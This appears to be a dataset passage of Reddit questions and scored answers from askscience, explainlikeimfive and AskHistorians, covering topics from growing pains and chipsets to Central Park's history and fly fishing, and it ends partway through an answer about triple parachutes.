{"q_id": "26kh47", "title": "What exactly are growing pains?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26kh47/what_exactly_are_growing_pains/", "answers": {"a_id": ["chs0kcv"], "score": [12], "text": ["Pain and cramping in the muscles surrounding a child's joints . It's assumed to be the result of how active the children are. For example all the running and jumping around young children do, can lead to muscle fatigue. Eventually, kids become less active or build up their muscles and their muscles don't fatigue as easily.\nFor some kids they can last a few months or a few years.  \n\n(there is absolutely no correlation to growth spurts btw)\n\n....if you are referring to something else,  I have no idea"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "23z9sq", "title": "why do so many business men get a huge severance pay even though they have failed in their work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/23z9sq/eli5_why_do_so_many_business_men_get_a_huge/", "answers": {"a_id": ["ch20s3g", "ch2c298"], "score": [8, 2], "text": ["Usually it was in their contract.", "Sometimes, a person is laid off because the company no longer needs them, not because they failed.  Also, some companies believe in corporate responsibility, and want to ease the transition for the employee by paying them severance.\n\nIn my opinion, companies do it because they know that to attract the best talent, they have to treat employees (and former employees) right.  \n\nFor example, if you heard a company had just laid off a bunch of folks with no warning, how inclined would you be to work for them?  Would you change your mind, if you knew that they were all paid severence?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1tsu1w", "title": "How much exposure to high culture did the lower classes have during the Baroque and Classical periods?", "selftext": "I recently saw a concert featuring Baroque music and was curious.\n\nWould a commoner know the names Mozart, Bach, Vivaldi, Handel, etc.? And if so, would he or she know what their masterpieces sounded like?\n\nWere operas Shakespearean in the sense that the lower classes also attended performances?\n\nAside from music, any answer relating to the title question would be great!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tsu1w/how_much_exposure_to_high_culture_did_the_lower/", "answers": {"a_id": ["ceb7mnl", "cebdqym"], "score": [11, 7], "text": ["I can give only a small glimpse into this. I have a Bmus(hons) in ethnomusicology, and my Euro-American work was done on natural local musics from Mozart to Beethoven.\n\nMozart would have been a name those with the means to attend penny opera style productions would have known, and most probably quite liked. The Magic Flute, for instance, is written in the 'lower' form of (I can't remember exactly, I think opera seria?). \n\nIt contained a lot of common folk-tune melodies, and many common themes and caricatures. \n\nSo, yes, during the late Classical period, Mozart was popular across the wealth line.", "There is a pretty big divide both chronologically and stylistically between the Baroque and Classical periods. I'm going to speak to individual composers.\n\nBach was well known locally, he was a renowned organist and wrote hundreds of pieces of church music that would be heard often by people of all income levels. In addition, he was an influential teacher and led choirs. He was not known to the general public outside the areas where he lived until well after his death. His vocal music became popular in the 1830s. Bach's keyboard works were studied and played widely, but were rarely performed in public until further into the 19th century. \n\nHandel and Scarlatti were both international stars in composing circles, and were both contemporaries and rivals. They ended up working in the courts of England and Spain, respectively, and Handel especially composed many pieces that would be heard by the general public: fanfares/oratorios/music for festivals and holidays, etc.\n\nBefore Mozart, traveling performing musicians were viewed more like oddities or circus performers to the general public. We know that Mozart and his contemporaries were all stellar improvisors, and would have a repertoire of folk and pop (opera) tunes that they could play and improvise off of on command. This implies that in addition to performing for royalty they would have performed for middle class audiences. There have been debates among musicologists about *who* Mozart wrote his pieces for, upper classes or lower (or both). His music was incredibly accessible to everybody regardless of education level during his time period, yet he wrote with finesse and showed an understanding of theory and form that only musically inclined intellectuals would pick up on. I don't know the current status of this debate though.\n\nBeethoven wrote pieces based off of \"Gassenhauers\", the equivalent of hit singles. The last movement of his Op. 11 Piano Trio is a theme and variations on a song that was sung throughout the lower class and would have been familiar to them at least. He was also important because he was one of the first composers to work independently of a patron. Once Beethoven went deaf he made his living off of selling scores of his music and commissions from wealthy people, but reviews of his music in newspapers suggest that his large scale works would have been largely recognized by the public."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "644lwi", "title": "In a recent post about General Patton's opinions on the soviets, he repeatedly called them \"mongolians\" and \"mongol\" in their barbarity.", "selftext": "Russia fell out of Mongol control about 500 years before World War II, exactly what did calling someone \"mongolian\" mean in 1945 and why and how did this connotation come to be? Also how did it come to be associated with the russians, a people removed from Mongol Rule for more than 500 years?\n\nI assume it is related to the Mongols reputation for savagery, and or the rule of the Golden Horde over the Russian principalities from the 1230s to the mid 1400s but I am interested as to the specifics. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/644lwi/in_a_recent_post_about_general_pattons_opinions/", "answers": {"a_id": ["dfzo9h6"], "score": [29], "text": ["You might be overthinking it.  Patton would use \"Mongol\" to describe people that modern Americans would describe as \"Asian,\" similar to how he would use \"Negro\" when modern Americans would use \"black\" or \"African-American.\"  \n\n[Here's](_URL_0_) an example of how ethnicity was categorized in the 19th century when Patton was born.   So to answer your question, calling someone Mongolian or mongoloid  in 1945 means something similar to calling someone \"Asian\" today.  \n\nOf course, most people in 1945 would ascribe traits such as deviousness or inscrutability to someone described as \"mongoloid\" or Asian.  Patton does so in the passage you're referring to.\n\n > The difficulty in understanding the Russian is that we do not take cognizance of the fact that he is not a European but an Asiatic and therefore thinks deviously. We can no more understand a Russian than a Chinaman or a Japanese and, from what I have seen of them, I have no particular desire to understand them except to ascertain how much lead or iron it takes to kill them. In addition to his other amiable characteristics, the Russian has no regard for human life and is an all out son of a bitch, a barbarian, and a chronic drunk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://aleph0.clarku.edu/huxley/SM3/GeoDis.html"]]}
{"q_id": "6lpvgq", "title": "What things would you want to have included in a Genocide Theory and Human Rights class?", "selftext": "  So I've been teaching this class now for a couple of years and I am looking to deepen my knowledge. There is so much in a field labeled Genocide that we could talk about and cover. I currently teach the Holocaust as a case-study, and look at the different sociological theories that apply there. Then we go on and learn and apply about Cambodia and the Khmer Rouge. Sometimes we talk about Iraq and the Kurds, or Bosnia and the Muslims (based on class interest); and then we usually end with the Rwandan genocide. We talk a lot about the United States and the strategies and rationale they have used. The class is a Sociological theory class, so if you have research papers, even better (I have a hard time finding articles that try to explain the how and why).\n\nTl,DR I teach a Genocide Theory  &  Human Rights class (400 level) at my university and could use some under-discussed events and under-discussed aspects of common knowledge events.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6lpvgq/what_things_would_you_want_to_have_included_in_a/", "answers": {"a_id": ["djvpy47"], "score": [2], "text": ["I highly recommend reading [this book about the Rwandan Genocide](_URL_0_) which offers deep insight into how the western system of indirect rule greatly exacerbated the divisions of Rwandan society and indeed was largely responsible for creating the climate of hatred between the Hutus and the Tutsis that created the genocide. This process offers a lot of insight into the way that genocides are not an organic result of human social history but are, in fact, largely created by deliberate socio-governmental policies. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?hl=en&amp;lr=&amp;id=nOhiDgAAQBAJ&amp;oi=fnd&amp;pg=PT7&amp;dq=belgian+role+in+rwandan+genocide&amp;ots=Tl3tNtXWDf&amp;sig=OZn2PgoaMydoSUizL4f5EUop5Vk#v=onepage&amp;q=belgian%20role%20in%20rwandan%20genocide&amp;f=false"]]}
{"q_id": "efzih4", "title": "If measles infection diminishes existing and future immune response, what are implications for other vaccinations in such individuals? [Medicine]", "selftext": "for example: \n\n[How measles causes the body to \u2018forget\u2019 past infection](_URL_3_) Science  01 Nov 2019:\nVol. 366, Issue 6465, pp. 560-561\nDOI: 10.1126/science.366.6465.560\n >  The diminished antibody shield means that after a case of measles, unvaccinated children become vulnerable again to viruses they had been exposed to in the past. \n\nSo *if* this is the case (interpretation is beyond my capabilities; I do see there is [contention](_URL_0_) but I can't make heads or tails of it) **do the described effects occur only with naturally occurring immunity, or also immunity conferred by vaccination**? If someone has a documented history of other vaccines, would they benefit from redoing their primary series post-measles? Does the long term suppression of new acquisition of immunity imply a modified schedule in future vaccines such as is the case for [sickle cell disease](_URL_2_) (*not*, to avoid a common confusion, sickle cell *trait*)?\n\nOf course the above work was conducted in a group who are presumably never-vaccinators for all formulations. But in the global context, vaccine availability is inconsistent. So infection with an ostensibly preventable disease is not an indication of attitude towards vaccines generally. \n\nAlso:\n[Incomplete genetic reconstitution of B cell pools contributes to prolonged immunosuppression after measles.](_URL_1_) Sci Immunol. 2019 Nov 1;4(41). pii: eaay6125. doi: 10.1126/sciimmunol.aay6125.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/efzih4/if_measles_infection_diminishes_existing_and/", "answers": {"a_id": ["fc5k4bg"], "score": [3], "text": ["This is an excellent question and as far as I know, doesn't have an answer.  The Virscan researchers recommend revaccination: \n\n > During the rebuilding process, individuals would potentially be at increased risk for other infectious diseases. Revaccination with routine childhood vaccines after measles could help to mitigate long-term suffering that might stem from immune amnesia and subsequent increased susceptibility to other infections. \n\nI'd think titer testing before and after would be the best course.\n\n/u/iayork thoughts?"]}, "title_urls": [], "selftext_urls": ["https://science.sciencemag.org/content/365/6449/eaax5552.long", "https://www.ncbi.nlm.nih.gov/pubmed?term=31672862", "https://www.michigan.gov/documents/mdhhs/Sickle_Cell_QL_Final_655853_7.pdf", "https://science.sciencemag.org/content/366/6465/560"], "answers_urls": [[]]}
{"q_id": "7k41zc", "title": "why do most children seem to go through the same interest phases?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7k41zc/eli5why_do_most_children_seem_to_go_through_the/", "answers": {"a_id": ["drbfb6h"], "score": [4], "text": ["I think one of the best hypothesis is that the developing mind likes to explore its world in stages. \n\nBabies, children, and young adults usually progress through understanding concepts like \"recognizing a ball is not gone because it is behind a box\", \"realizing your parents aren't dead if they leave the room\", to stages such as understanding fundamental principals of movement and shape (as seen in cars), until they arrive at conceptual understanding. From simple structures (like cars), it is easy for them to begin to imagine new things, now that they have a foundation of what a car is. Then they expand through their desire to learn and through creativity. These objects are simple, and so it is not usually seen that children can fully grasp conceptual things (such as science, math, politics, etc.) until later in their developing years. Even though we see youth brain development at different rates, it is almost impossible for them to formulate unique opinions on conceptual topics, so they stick to the basics and go from there.\n\nSo, they like things based on what they know. The starting new interest is usually based on what they know, and what they know is just a subset of what they've been exposed to. This doesn't apply just to cars, trucks, trains, and airplanes, but whatever is similar-and-different from their base knowledge.\n\nWhy it seems like everyone you know had a truck-car-train phase is based on your culture. This is the foundation for teaching your children fundamental knowledge. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9gpvku", "title": "why does the portugal drug policy work?", "selftext": "I have been recently reading up on this subject and I don't understand how decriminalizing drug use resulted in its massive reduction. It sounds counter-productive. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9gpvku/eli5_why_does_the_portugal_drug_policy_work/", "answers": {"a_id": ["e65yw8g", "e667e1f", "e669cmp", "e677zgh"], "score": [33, 19, 5, 4], "text": ["It\u2019s not that the drug usage rates dropped (the Cato paper actually showed that they didn\u2019t), it\u2019s that the rates of the harmful side effects (STD transmission through shared needles, related deaths, etc.) dropped. This is because it\u2019s easier for you to, say, get clean needles if you don\u2019t need to hide the fact that you are buying a bunch of needles, or not having to hide the fact that you are using drugs by shooting up alone.\n\nOn top of that it\u2019s much easier to seek treatment for drug-caused problems when you don\u2019t need to worry about the police picking you up the instant you walk out of the clinic.", "In short, they treat drug addiction as a health problem rather than a criminal problem. Treatment programs, and social programs to minimize negative effects on society are generally cheaper and more effective than trying to arrest everyone and put them in prison.", "I encourage anyone who has a interest in this subject to read [Chasing The Scream](_URL_0_). It\u2019s really a great book on the topic of the war on drugs and was truly eye opening and perspective changing for me.", "It's an analogy similar to the Forbidden Fruit in the Holy Bible. But restricting drug use and criminalising it, the wow factor of drugs was so high that people were ever curious and enthusiastic to try it. But by making drugs easier to access, they were no longer \"forbidden\" and thus since people could do it whenever they pleased, they chose to be more responsible and limited in their use. Suddenly, people realised that they didn't have to bunk classes or skip work to do drugs since they were a rare commodity, and instead chose to do it in their own leisure time. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Chasing_the_Scream"], []]}
{"q_id": "1vo8y4", "title": "Experts of the Cold War: Were \"Doomsday preppers\" that obsessed over food and bomb shelters something that was new to the world?", "selftext": "As far as I can find evidence of, there seems to have always been people in society who thought \"the end is nigh\", but not until the cold war/ \"Duck and cover\" era did they start to prepare for it.  Sure the show \"doomsday preppers\" or whatever it is on nat geo is just a show, but i do knew a few people myself who have quite a few \"bug out bags\" and weapons stashed for the end they believe is coming.\n\nFrom what I can tell, this mentality originated during the cold war. Do you believe this to be the case? Do you see those who obsess over bomb shelters as something new in your era or merely something evolved?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vo8y4/experts_of_the_cold_war_were_doomsday_preppers/", "answers": {"a_id": ["ceu8gqd"], "score": [23], "text": ["This is just a meta comment, but you really don't want experts of the Cold War here. You want experts on periods _prior_ to the Cold War. \n\nIt is worth noting that pretty much all of the millenarians of the past \u2014\u00a0the people who believed the world was close to ending\u00a0\u2014 believed it was going to be because of divine intervention, e.g. rapture or apocalypse or what have you. In such a situation a bug-out bag is probably not going to make the difference, or even be a good idea. What makes the existential threat of the Cold War unique is that it is entirely human-made, and thus needs to be \"survived.\" The traditional religious end-of-the-worlders are not encouraging people to \"survive\" so much as repent, worship, what have you.\n\nFor pre-Cold War doomsday preparations, I would search out pre-Cold War doomsday fears that were entirely secular in origin. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j2cg8", "title": "what does a \"chipset\" do?", "selftext": "Whenever someone leaves the company I wipe their computer by putting a fresh copy of XP on.  Then I re-do all the drivers.  I get that you need the audio driver to make the audio work, the network driver for the wireless to work, etc, but I've never been able to figure out what the chipset does.  I just install them anyway.  Maybe this isn't the right subreddit for this, but I'm honestly curious, and the explanation on wikipedia is way to technical for me to understand.\n\nAnyone care to explain this to me as if I were five?\n\nEDIT: This was a great way to get my question answered and I really appreciate the responses - I wish the best for this new subreddit and will try to answer a question on a topic I am knowledgeable about in return - thanks!!!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j2cg8/what_does_a_chipset_do/", "answers": {"a_id": ["c28jzj4", "c28k2dl", "c28k2j5", "c28k6xz", "c28kgk5", "c28l2jr", "c28llj0", "c28lpni", "c28msro"], "score": [4, 22, 6, 45, 2, 73, 4, 2, 2], "text": ["I'm not entirely sure myself but if you're referring to the northbridge and southbridge I'm pretty sure they help make everything work together. (Allow CPU to access RAM, etc...)", "It's a little hard to tell what you mean here. A \"chipset\" is a generic term that just means \"small computer bits that do something.\" It's a related set of computer chips that work together to accomplish some sort of task, hence chipset. As you mentioned, they do things like make the audio or wireless or any number of things work. They are different from something like the central processor, because they have just one specified task, and are not intended for general or varied uses.\n\nYou mentioned drivers as well. \"Drivers,\" simply, are the instruction manual for the chipset. A chipset sends out some signals in response to receiving signals, based on rules that are all worked out inside the chips. The drivers tell the computer which signals to send to get desired results. \n\nYou said you \"install them anyway\" when talking about the \"chipsets\" along side drivers. I'm going out on a limb and guessing that you're installing another piece of software along with the drivers that has \"chipset\" in the name. In all likelihood this is just another name for a driver.\n\nHopefully that's enough information to help you rephrase the question, so you may be able to get a more satisfying answer!", "Drivers tell the operating system how to talk to other things, usually hardware like printers and graphics cards. Chipset drivers tell the operating system how to talk to the components on your computer's motherboard.", "The chipset normally just refers the the north bridge and south bridge section of your motherboard. They are the largest two \"chips\" integrated on the board (Not the CPU or RAM) and are responsible for connecting and sending instructions (parallel electrical signals) between your RAM, Video Card and other \"fast\" resources.", "When you're installing \"chipset drivers\" its usually something related to either the north bridge or the south bridge. Even though chipset is a generic term to electronics parts, in a computer the chipset usually signifies the non-CPU dies and these require drivers for things like integrated GPU,SLI or crossfire parts, SATA controller etc. For instance my computer uses the [P35 chipset](_URL_0_).", "Chipset refers to the north and southbridge. Think of them as a cop directing traffic. The northbridge deals with the processor, graphics card, and memory. While the southbridge deals mainly with USB, SATA and other peripherals. As you can imagine, the northbridge has a heavier load which is usually why the heatsink on it is much larger then that of a southbridge. Anyway back to the cop, all the components send their signals to the appropriate chipset and then the chipset decides where they should go. If you look on a motherboard, the northbridge is right in the middle of all 3 main components to make the trip shorter for all of them. Flipping the motherboard over will reveal the traces of the board, and you will notice a ton of them leading to the northbridge. ", "This is a diagram for the Intel P35/ICH9 chipset. The two gray ones in the middle are the chips in question. Note how the other components are connected.\n\n_URL_0_", "I tried to explain a computer here...\n_URL_0_", "In a car .... the CPU is like the engine, it does all the calculations and runs extremely fast.\n\nThe chipset is like the tyres.  It manages how the CPU/engine interacts  with the rest of the world, i.e the ground (or the hard drive, network port, usb, etc.)  \n\nLike in a car, the tyres don't turn as fast as the engine runs, but the ratio is good enough that the system as a whole operates effectively.\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Intel_P35"], [], ["http://www.overclockingwiki.org/joomla/images/stories/p35_block_diagram.jpg"], ["http://www.reddit.com/r/explainlikeimfive/comments/j2jc2/can_i_describe_the_components_of_a_computer_like/"], []]}
{"q_id": "1v7ft4", "title": "In New York City, has there ever been a serious attempt at eliminating Central Park?", "selftext": "I'm thinking in terms of land values being a temptation, but any other reason would be interesting to hear as well. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1v7ft4/in_new_york_city_has_there_ever_been_a_serious/", "answers": {"a_id": ["cepj27f", "cepk4pz", "cepu639"], "score": [60, 250, 2], "text": ["More or less, no, there has never been an attempt at eliminating Central Park. It was actually a largely popular aspect of Manhattan's development.  \n\nManhattan was originally only on the southern-most point of the island, and it slowly expanded northward up the island as the population grew. This lasted until the early 1800's, when the [Commissioner's Plan of 1811](_URL_0_) was written to create the grid system for a logical and controllable expansion. That is why southern manhattan is a bit of a mish-mosh of streets, while it becomes a standard grid at about 14th street. The Commissioner's Plan, though did not account for Central Park.  \n\nAt this time, New York was already a bustling metropolis and had an enormous population. Similarly, it was not \"New York City\" as we know it today, and Brooklyn, Queens, Bronx and Staten Island were not yet incorporated and were independent areas. So the population of New York (aka *only* Manhattan) was growing in terms of both industry and population, with little to no free space. Transportation off the island was reliant on ferries.  \n\nMany New Yorkers were calling for a public park in mid-19th Century and the City added in Central Park for development, and continued to grow the city around the park.  \n\nThe only time I could see Central Park being a \"burden\" on New York was in the early 20th Century, when the Central Park Commission was dissolved, leaving the park with no governing authority. During that time, it had no up-keep and was generally \"bad\"--full of litter, homless populations, crime, etc. But in 1934, [Robert Moses](_URL_1_) became the NYC Parks Commissioner (and one of the most influential urban planners of the 20th Century) and started on a resurgence and expansion of public parkland in New York City. In the early 1960's, Central Park became a National Historic Landmark and could not be altered afterwards.", "Perhaps surprisingly, there has been no serious attempt at eliminating Central Park since it opened in 1857. The park was an immediate hit, particularly for the wealthy, who enjoyed riding their carriages around the park's impeccably crafted drives. As the city pushed northward, helped along by extended omnibus service (and later, by the construction of the Elevated trains and then the subways), other New Yorkers had better access to the Park; indeed, several features of the park were meant to appeal directly to the lower and middle classs, such as a zoo (the arsenal, one of two structures predating the park, opened with an animal menagerie in 1860; a permanent zoo built behind it in 1875) and [a dairy](_URL_0_) to serve fresh milk to children (at the time, access to fresh milk was a big problem, as much of it came from diseased cows and the milk would be left out for days and/or mixed with dirty water). \n\nQuickly, Central Park was becoming an important part of New York City, a wondrous testament to the forethought of city planners in the 1850s (the Commissioners' Plan of 1811 did not provide for much green space, and surveyor John Randel, Jr., planned streets through the entire park; one of his bolts is still embedded in rock in the park!). When the land was seized by eminent domain, more than 1,600 people were evicted (including more than 250 residents of Seneca Village, around 85th Street on the west side of the park, a notable community of freed slaves and immigrants; the foundations of the village's Church is still visible). Stretches of Eighth Avenue and 59th Street were renamed, respectively, to Central Park West and Central Park South and soon became some of the most desirable real estate in the city (along with Fifth Avenue, allowed to keep its prestigious name). \n\nGiven the city's love affair for Central Park, its rich history, and its vital position as a lush green space in the middle of an incredibly dense island, I don't think any consideration to have it torn down (or even significantly altered at this point) would have been taken seriously. Early investors such as Edward Clark (developer of the upscale Dakota, who also bought several row houses for the middle class and a slew of tenements to boot) observed the city pushing northward, and invested in prime real estate (particularly on the Upper West Side, which until the 1870s had been the site of several sleepy hamlets with colorful names like Harsenville and Striker's Bay). Many significant city cultural institutions and museums are in or near the park, such as the Metropolitan Museum (original building 1880), the Museum of Natural History (original building 1877), the New-York Historical Society (building 1908), the Frick Collection (building 1914), the Museum of the City of New York (building 1932) and El Museo del Barrio (1969) (among many, many others). I could go on at great length about the park's many treasures, including Revolutionary War cannons, the gates from the old Vanderbilt Mansion, fortifications from the early 1800s, the aforementioned Randel bolt and the old remnants of the Central Park reservoir (which brought fresh drinking water into the city as part of the Croton system).  ", "I just took a free walking tour of Central Park the other day and my tour guide told me that in the 1940s there were people who wanted to build an airport over the park. Can anyone find any sources for this? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://library.cornell.edu/Reps/DOCS/nyc1811.htm", "http://www.nycgovparks.org/about/history/timeline/robert-moses-modern-parks"], ["http://ephemeralnewyork.files.wordpress.com/2009/09/prospectparkdairy.jpg?w=300&amp;h=282"], []]}
{"q_id": "3gurre", "title": "why is \"you're welcome\" a response to someone saying thank you?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gurre/eli5why_is_youre_welcome_a_response_to_someone/", "answers": {"a_id": ["cu1lyl8", "cu1m033", "cu1v5y4", "cu1yt3r"], "score": [227, 22, 9, 3], "text": ["\"Thank you for your kindness\"\n\"You are welcome to my kindness, good sir.\"\n\nWhat you're welcome to is whatever you're thanking them for.", "You are welcome to that assistance. Slightly different meaning of welcome. Kind of like \"you're welcome to share my food\" meaning of welcome.", "\"You are welcome to sleep over tonight\"\nOh really? Thanks man!\n\"You're welcome.\"\nI know, you just told me.", "The phrase \"you're welcome\" is simply a courtesy. It means that I will happily do the same for you again. If you directly translate the phrases used in other languages to express the same sentiment you'll find a variety of expressions such as \"it's nothing\", \"my pleasure\", \"don't mention it\", \"think nothing of it\", \"any time\", \"forget it\", \"there's nothing to thank me for\" and \"no problem\". All of these are perfectly acceptable and convey the same meaning, even in other languages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1i7qyu", "title": "Why was India called the Golden Bird?", "selftext": "It is often said that India referred to itself as The Golden Bird during ancient times. However I can't find any sources. How did this name come about? And is it true?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i7qyu/why_was_india_called_the_golden_bird/", "answers": {"a_id": ["cb1ucxv"], "score": [7], "text": ["Well 200 years or so ago, India amounted for 1/3 the entire world economy. _URL_0_\n\nEDIT: Economically India's been the richest country until recent times. From the ancient era up until the medieval. It was only after the European invasion that India, and Asia in general, went through a rapid decline. Hence the title \"golden bird\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Economic_history_of_India"]]}
{"q_id": "1je3od", "title": "us cities: unfunded pension liabilities.", "selftext": "I have heard the term gets thrown around with Detroit filing for bankruptcy - I was unable to find a site that would explain this term for someone at level of knowledge of government pensions. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1je3od/eli5_us_cities_unfunded_pension_liabilities/", "answers": {"a_id": ["cbdr1z1"], "score": [2], "text": ["ok, in short. The old fashioned pension plan says that if a person works for X years and earns Y salary, then at retirement they get some amount of money for the rest of their life. The laws say that the city (or anyone sponsoring such a pension) must make a good faith estimate on what that amount is... from now until every person in the plan dies.  That amount of 'from now until everyones death' is the projected pension benefit.  These pensions also have collected some money that they hold to pay those benefits.  The projected benefit minus the plan's current assets is the unfunded pension liability. \n\nThe issue is that a bankrupt city doesn't have money to add to the assets and every year the projected benefit grows making the unfunded liability unpayable. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mkeba", "title": "what is fly fishing? what differentiates it from other types of angling?", "selftext": "I understand that a \"fly\" is used to catch the fish rather than other bait, but how does this make it a different category of fishing? I've not heard of fishing with worms called \"worm fishing\" or fishing with maggots called \"maggot fishing\". Does fly fishing work differently to fishing using other baits?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mkeba/eli5_what_is_fly_fishing_what_differentiates_it/", "answers": {"a_id": ["cvfp2fv", "cvfrcmv", "cvfrsea", "cvfta5x"], "score": [15, 2, 5, 3], "text": ["fly fishing uses an extremely light line and lure - not bait, usually something as light and basic as a small collection of feathers with a small hook.\n\nTo cast, you whip the line back and forwards, feeding out more line with each pendulum swing so you can build enough momentum to send the tiny lure out far enough. \n\nThis is to catch surface hunting fish that go after small insects that land on a river's surface. You need a big open space to do it in and a lot of practice getting the pendulum swing right. \n\nOther types of fishing usually involve casting something with a bit of weight, directly where you think fish are, something that isn't really possible with such a light lure", "It is similar to fishing with spin tackle and lures. The only difference is that when you are using fly fishing tackle you primarily use the weight of the line rather than the weight of the lure to cast out your fly.  Different flies, line, weights, floats and rods can be used to effectively fish any body of water you would fish with a lure.   It is a method often used to fish for surface feeding fresh water fish, but can be just as effective when used for salt water species that feed below the surface. ", "Fly fishing differs from conventional in several ways. Let me start by talking about the equipment used. \n\nConvention rods, spinning or casting, are generally much shorter than fly rods. I say generally because there are some very short fly rods made for casting in very tight spaces and may only be just over 6 feet in length. However, generally a fly rod will measure 8'6\"to 9 feet. A typical conventional rod will be 6' to 7' in length. Again, I say typical because there are rods that are well over 7 feet. \n\nNow let's consider how the actual act of casting works with both types of fishing. With conventional rods the weight that loads the road, makes it bend backwards, the act that will put potential energy into the rod, is in the lure; be it a bobber, a plastic worm, swim bait, hard plastic, etc. When the rod is brought forward the potential energy in the rod plus the weight of the lure causes the lure to more forward. \nIn fly fishing, salt and fresh water, the fly, or lure, is typically pretty light and doesn't have much weight, so it would be very difficult to cast because there is no weight to load the rod and carry the lure forward. So in fly fishing we put the weight in the line itself. Lines are classified by weights. The heavier the weight, the larger the fish you can catch. A 5 weight line goes on a 5 weight rod, 8 on an 8, and so on, typically. Sometimes over lining a rod can be beneficial depending on the situation and conditions.  Weight rods and lines range from 000 - 15 weight. So we have the weight in the line that can load the rod and carry the lure out. But to load the rod we have to \"wave it\" back and forth in order to generate line speed which will allow us to cast further. Finding the proper rhythm of \"waving\" will allow for better, longer, and more accurate casting. \n\nThe lures, called flies, are tied by hand using both natural and synthetic materials. Rabbit fur, fox, pheasant feathers, chicken feathers, ox hair, deer hair, etc are examples of some of the natural materials that are often used. The different materials are tied into hooks using the appropriate sized thread in such a manner that makes the end product look like a bug, minnow, fish, frog, etc that the fish you are wanting to catch would eat. Flies can be designed to sink or float. Flies that sink are called wet flies while flies that float are called dry flies. Both types can catch fish when used and presented properly. \n\nFly fishing is an amazing sport. It teaches patience, awareness, and attention to detail and well as a love for the outdoors and conservation. You can catch fish using a fly rod that would be hard caught on conventional tackle but you usually won't out fish someone using conventional tackle. Me, I'll take a fly rod any day. There is a great community too. Check online to find your local fly shop. The guys that work there are usually very laid back and happy to help you learn. Ask if they offer beginner classes. Do NOT go in and ask the best spots. They aren't going to tell you. Ask to purchase a map and ask if they could recommend some general areas to try and what flies you need to fish those areas. Buy your rods and reels and tackle from your local shop. Yea, you can probably get it cheaper on eBay but eBay doesn't sell local expertise. \n\nSource: have been fly fishing for 18 years and was a shop rat, worked in the fly shop, for 5 years", "I scrolled through and saw some pretty good answers on here, I feel your question is pretty much answered but I just wanted to chime in and tell you that if you ever get the chance to try it, hop on it. \n\nI've used sports, video games, high amounts of alcohol and many others to shed life's stresses. But, for some reason nothing really compares to standing in a beautiful mountain stream, listening to the water move past you as you keep casting this tiny little fly down repetitiously in hopes of a bite. Stress just melts off you and before you know it your battery being drained from life is recharged. \n\nYou stay busy enough to be entertained, but your not doing so much your draining yourself. When you get a bite, it scares the shit out of you and excites you so much that you wanna do it again! I hope you get to try it one day, truly. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3xs6mg", "title": "How do large, triple parachutes like those used on Apollo capsules seem to automatically maintain separation from each other at a rather steep angle?", "selftext": "Here is an example from a recent SpaceX test.\n\nEDIT: [Much better example video](_URL_1_) (as posted below)\n\n_URL_0_\n\nWhy don't the parachutes collapse into each other?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3xs6mg/how_do_large_triple_parachutes_like_those_used_on/", "answers": {"a_id": ["cy7fjla", "cy7givr", "cy7nvup", "cy7s21e", "cy7ufad", "cy8829e"], "score": [362, 17, 7, 381, 5, 2], "text": ["Not sure on the specifics of this particular application/design, but there are a few ways you could make that happen. Note that a boat sail doesn't go perfectly perpendicular to the air flow: the ropes and shape hold it at an angle.\n\nFirst of all, the air being caught by the chutes pours out of the sides. This pushes against the air from the other chutes and pushes them apart. This might be the only thing going on in some designs. \n\nAs far as design possibilities go, where the rope splits into multiple ropes that attach to the parachute in different places at the top, it can split into different lengths. The difference might not be much, but it's enough for the force of the air to tilt the parachute (it will stay full and the ropes will stay tight due to the forces). The parachute can also be made asymmetrically to let a bit more air out of one side, making the parachute push in the opposite direction and pushing the other parachutes away.\n\n It looked like the three deployed together, ~~so there may be some sort of weak attachment holding them together and facing correctly that pops off when they inflate.~~ **EDIT: after further research, this seems to be done with very careful rigging, not some breakaway device.** As far as stopping them from rotating to steer into each other, it's just a matter of making sure that the forces pushing them away are stronger and that the equilibrium point is 3 equally spaced parachutes 120 degrees from each other. In other words, you design them so that if one starts to drift out of place, 